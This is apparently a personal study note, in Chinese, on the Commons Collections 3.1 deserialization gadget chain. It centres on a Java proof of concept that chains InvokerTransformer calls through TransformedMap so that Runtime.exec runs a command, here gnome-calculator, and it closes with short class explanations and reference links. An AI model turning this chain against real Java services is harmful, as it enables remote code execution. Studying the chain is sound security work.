0%

cc链学习

commons-collections 组件反序列化调用链漏洞,简称cc链利用

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class commons_collections_3_1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"gnome-calculator"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}

ConstantTransformer这个类,给他什么对象他就返回什么对象

InvokerTransformer这个类的参数完全可控,可以通过反射构造rce

ChainedTransformer是Transformer的一个list,在函数内部进行了transfer函数的调用

参考

这篇非常的友好,菜鸡如我也看懂的7788

https://xz.aliyun.com/t/7031#toc-1

https://www.cnblogs.com/bitterz/p/15035581.html

https://github.com/frohoff/ysoserial/tree/master

https://xz.aliyun.com/t/9451#toc-19